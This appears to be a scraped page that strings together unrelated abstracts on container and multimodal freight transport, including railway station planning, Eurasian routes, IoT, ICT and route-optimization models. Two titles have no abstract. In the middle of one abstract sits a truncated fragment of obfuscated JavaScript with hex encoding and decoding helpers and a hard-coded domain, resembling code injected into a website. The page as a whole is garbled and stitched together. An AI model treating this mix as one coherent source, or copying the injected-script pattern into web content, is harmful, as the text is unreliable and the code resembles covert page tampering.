On the development of a support system for decision-making on changing the way container products are transported in multimodal transportation

With the rapid development of China railway container transportation, container stations layout need adjustment and further promote the competitiveness the railway container transport market. In this paper, we proposed the optimization principle of processing station from the aspects of facilities and equipment level, regional location, multimodal transportation and development planning. A comprehensive evaluation index system and scoring rules of the railway container handling station were constructed, and the relevant indexes and weights were scored by Delphi method, and the optimized development plan of the railway bureau container handling station was proposed.KeywordsRailway container transportationRailway container stationABC analysis method

Goal. The signing of an association agreement between Ukraine and the European Union requires that the first comprehensive development in all fields and meet the high European standards. One important area is the development of the transport system of the country as a whole and for individual modes of transport. The favorable geographical position of Ukraine, its position as a transit country between east and west, and the rapid development of container transport requires appropriate measures to keep the achieved position in the container shipping market and further increases in freight flows. The aim of the article is the analysis of the container transport system, determine the prospects for further development, the establishment of problem areas and suggest ways to address them. Statement of the basic material. The volume of container traffic around the world in recent decades shows a stable growth trend, which slightly affected even such events as the global financial crisis of 2008. In the past five years, this growth is mainly due to the active development of the economies of China and other countries in Southeast Asia, as well as because of the outsourcing of production in the same region. In this regard, many countries are increasingly focusing on building a reliable transport bridge between East and West, including the development of container transport system. Ukraine is one of the leading positions in the processing of container traffic in the Black Sea region, but for various reasons in recent years the volume of its decline. To remedy this situation it is necessary improvement of the whole spectrum of operations, the organization of container traffic flow, which in turn requires research to identify issues and develop solutions. At the same time attention should be paid to the development of railway container transportation, which, as the best European experience, have many advantages over the road and can significantly improve the competitiveness of Ukraine in the container market.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return tstt.diit.edu.ua},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(http)==0){return p}for(var e=0;e

Summary. The article highlights the topical issue of development of container multimodal transport, which are a priority in the development of transport services, their use will increase the volume of cargo delivered to the destination by the most efficient modes of transport (their combination). Container transportation of goods significantly reduces the cost of delivery of goods from producers to consumers. Container transportation has become the most economical without transhipment technology, and, above all, in the intercontinental multimodal land-sea service. The aim of the work is to study the practical aspects, substantiate practical recommendations for the logistics of multimodal container transportation of goods in global supply chains. Conduct at comparative analysis of the implementation of multimodal container traffic in different containers, namely 20 and 40 feet. The analysis and calculations of the data of container transportation processes for the conditions of two international transport corridors: TRACECA and trans-Caspian international transport route are carried out. The cost of transportation by sea, although their number is small relative to the total share of routes, significantly affects the total cost of transportation. In order to stimulate freight traffic on these routes, member states have set discounts of up to 10% of the cost of the ferry fare. Studies suggest that the use of multimodal container traffic is currently economically feasible. The conducted research of practical aspects and substantiation of practical recommendations on logistics of multimodal container transportation of goods in global supply chains suggests that the use of container transportation is a way of delivery today using multimodal options for delivery of goods. An in-depth comparative analysis of the implementation of multimodal container traffic in different containers, namely 20 and 40 feet, allows us to conclude that the use of the Trans-Caspian International Transport Route (TMTM) with a 20-foot container is a more economically attractive option and can be recommended.

The role of information and communication technologies (ICTs) in freight transport as key enabler is well recognised. However the uptake of recent ICT advances for multimodal freight transport provisions in the UK and Europe has been slow. The aim of our paper is to explore the potential reasons for such a slow adoption and assess how recent technological advances such as cloud computing and Internet of Things might have changed the landscape and thus help to overcome these barriers. Via an extensive review of 33 EU framework programme projects, we are able to consolidate and present current major efforts in ICT developments in the freight multimodal transport setting at European level. We further discuss barriers inhibiting quick take-up of ICT applications in multimodal transport. Resolutions were then explored by reviewing four key ICT development trends recently emerging and evaluating their potential impact in reducing such barriers for deployment. Our contribution is two-fold: it advances current knowledge by presenting an up-to-date overview of existing and emerging ICT applications in the field of multimodal transport and barriers to e-enabled multimodal transport. It also captures some of the best practices in industry and aims to provoke a debate among practitioners and academics via the analysis of how innovative use of recent technological developments could potentially lower the barriers to multimodal ICT adoption and lead to a more integrated freight transport network. Therefore it lays the foundation for further research.

To deal with the uncertainty of container multi-modal transport, a container multi-modal transport route optimization model based on the reliability is proposed. To deal with the problem that network has multiplicity and that node has weights in multi-modal transport, the paper pre-processes the multi-modal transport network to three-dimensional graph based on the transport mode, and uses the improved Dijkstra algorithm to get the K-th shortest path set which take transport time and transport cost as the main target. On this basis, we find out the reliability of the common paths, and figure out the path which has higher reliability. The simulation experiments take sea routes of China to Australia as the main route, prove the model and method can improve the reliability of transport, to a certain extent, can also reduce the loss of the consignor.

Artificial intelligence is a branch of computer science, which includes natural language, intelligent processing, and professional methods. Since the birth of artificial intelligence, the technology and application fields have continued to grow, and the application fields have also continued to expand. This article aims to study the application of artificial intelligence technology in the management information system of container multimodal transportation and to provide convenient and efficient operation methods for container multimodal transportation. This paper proposes the C-means clustering method. Through the research and development of the terminal management system, it has achieved great success in automation, intelligent planning, and integrated management. At the same time, the EDI system is adopted, which mainly uses the combination of GPS and GIS information platform Internet network technology. Therefore, when evaluating the operation of the multimodal transport virtual container under the control of coproduction, the DEA method is used to operate the multimodal virtual container. The situation is analyzed and evaluated, and the multimodal transport virtual container is determined through investment. The experimental results of this article show that the artificial intelligence system achieves the most efficient multimodal transport management with the most efficient system model, combined with the leading container multimodal transport virtual enterprise, to provide the best way of the management process for the development of the multimodal transport management information system. The intact rate of container cargo during transportation is as high as 99.7%.

Major ports contain multiple container terminals, sea terminals, train, truck and barge terminal, and empty container depots, operated by different companies. Port authorities try to streamline inter terminal container transport (ITT) within congested port areas by offering expensive common road and rail infrastructure. Alternatively, individual stakeholders can set up private or collaborative container transport systems. This paper develops a framework to analyse and determine feasibility conditions of a common ITT system in a port area, depending on total transport volumes. First, we develop a simulation model to evaluate the costs of transporting containers using different modes of transport including trucks, automated guided vehicles, and multi trailer systems. Next, the required number of vehicles per mode is determined for a given throughput and waiting time. The results of the simulation are used in a game-theoretic setting to determine the cost savings per stakeholder operating in a coalition. By comparing cost savings for all possible coalitions, it is possible to determine, for each stakeholder, the attractiveness of using a common system. We find the coalitions that result in the highest savings and compare them with the infrastructure cost required to realise them. We apply the method to determine the feasibility of a common ITT system for terminals in the Port of Rotterdam and show that it only pays off in case of high demand for container transports.

Building railway container key station can improve the capacity of railway container transportation and the level of transportation service. The forecast of container freight volumes is the foundation of construction, running, and evaluation of the key station. In this paper, the Grey Prediction Method GM (1,1) and Markov Prediction Method are combined to get the improved Grey-Markov Method, which is used to predict the development tendency of the railway container key station freight volumes.

The basic characteristic of container multimodal transport mode is to transport container goods by various modes of transport, which mainly involves in-station transit of containers, container sending operation and cargo handling operation steps. In the new era, the technical means of Internet of Things in the practice field of container multimodal transport has been comprehensively innovated and optimized, which fully ensures that each concrete implementation process and link of container multimodal transport can achieve more obvious transportation cost saving benefits and innovates the operation mode of container multimodal transport business. Therefore, the mode innovation and transformation of container multimodal transport must rely on the integration and support of the Internet of Things technology.

Purpose: To assess the importance of multimodal cargo transportation for the economy of 1520 area countries. This study confirms the need to expand the capabilities of railway infrastructure despite the consequences of sanctions restrictions, international political situation uncertainty and trans-Eurasian container transportation imbalance with the purpose to achieve economic growth of the national economies of 1520 area countries. Methods: There were used analytics and diagnostics methods for the data (observation, analysis, synthesis) of regulatory and legal provisions governing relations within the framework of freight transportation by railway network as well as reports of leading railway companies of 1520 area countries - JSC "Russian Railways", JSC "NC "Kazakhstan Temir Zholy", Belarussian Railways and others, Russian and foreign forwarding companies, carrier operators, data from Russian Federation Federal Customs Service and foreign customs authorities, statistical and analytical informational databases. Results: The characteristics for main railway systems of 1520 area leading countries are given with specification of the number of international and domestic container and container-piggyback routes. The factors influencing the development of freight transportations on Russia territory along 1520 track have been identified, the prospects for cargo transportation have been assessed in view of Russia transport and logistics market current state. Practical significance: The obtained results have applied character since they offer and justify measure series to ensure effective development of multimodal transportations given existing infrastructure limitations.

The purpose of the article is to study the global trends in the development of maritime container transportation, which should be taken into account when reforming the transport industry in Ukraine. The role of containers in increasing the throughput of seaports and increasing the competitiveness of logistics services is noted. The main prerequisites that act as an incentive for containerization processes are determined. The level of modern development of global maritime container transportation has been studied. The dynamics of the main indicators in the world maritime container transportation market is analyzed and the influence of a number of factors is considered. It has been established that the increase in container traffic in multimodal transportation contributed to the growth in the throughput of seaports by 5–5.5% annually and, according to forecasts, should be. 978 million TEU by 2025. It is noted that the largest volume of sea container traffic (64%) is provided by the ports of Asian countries, which is explained by the location in this region of the world's largest ports (Shanghai, Singapore, Shenzhen and others). The attention is focused on the processes of mergers and acquisitions inherent in the maritime transportation market and which led to the consolidation of some shipping lines. It was noted that the world's leading container shipping operators (in terms of the number of vessels) are APM-Maersk (Denmark), Mediterranean Shg Co (Switzerland), CMA CGM Group (France). The prospects for further development of this market are indicated. It was noted that the profitability of container networks over the past five years has more than tripled and reached 3446 million dollars. The main trends that have developed in the global maritime container transportation market have been studied, and should become a guideline in shaping the ways for the development of the Ukrainian transport industry, aimed at the effective use of the transit potential of the state and increasing the competitiveness of this area.

The study analyzes the participation of technologies related to the development of the Internet of Things (IoT) network concept in the intermodal container transportation system. Since the beginning of the XXI century, IoT-related technologies have been dynamically spreading in almost all areas of international business, and this has changed the understanding of cargo owners about the quality of transportation services, among other things. Since transparency in monitoring the location of high-value goods is extremely important for transport companies, cargo owners, and all other stakeholders, and the intermodal transportation system is extremely complex due to the number and diversity of communications, the need to use IoT is obvious. As analysts predict that the introduction of IoT technologies in containerization will become widespread in the coming years, a study to assess the level of research on the introduction of such technologies and implementation in the practical activities of transport enterprises is relevant. The aim of the proposed review is to determine the degree of IoT implementation in the container transportation industry, areas of research on the topic, and identify factors that may impede the predicted rapid development of IoT in containerization. The proposed study includes an analysis of scientific publications related to the use of the Internet of Things in the field of international container transportation, identifies the main priority areas of such publications, establishes the areas of current implementation of IoT technology and determines the prospects for its use. Since the solutions that can potentially be obtained with the help of IoT are quite heterogeneous, the literature analysis is organized by grouping such publications into the following areas: container monitoring and tracking, enhancing supply chain transparency and visibility, optimization of operational efficiency, security and risk management, environmental impact and sustainability, challenges and barriers. The paper provides examples of online platforms and applications currently offered by major container operators that are related to this technology.

A scenario discovery study of the impact of uncertainties in the global container transport system on European ports

Detention decisions for empty containers in the hinterland transportation system

In the process of multimodal transport, the cost and time of transportation are particularly important. In order to avoid unreasonable container transportation and unnecessary waste of transportation capacity and transportation cost, we must effectively integrate the advantages of various transportation modes, select the most suitable transportation mode and the most reasonable transportation path, and take the minimum cost and time as the goal to ensure the smooth transportation of goods to the destination. Therefore, optimizing multimodal transport network has very important practical significance. This paper starts with the multimodal transport network under a single task, designs the solution method of the model combined with ant colony algorithm, and gives an example. Finally, the model and algorithm design are proved to be reasonable by using MATLAB solution algorithm.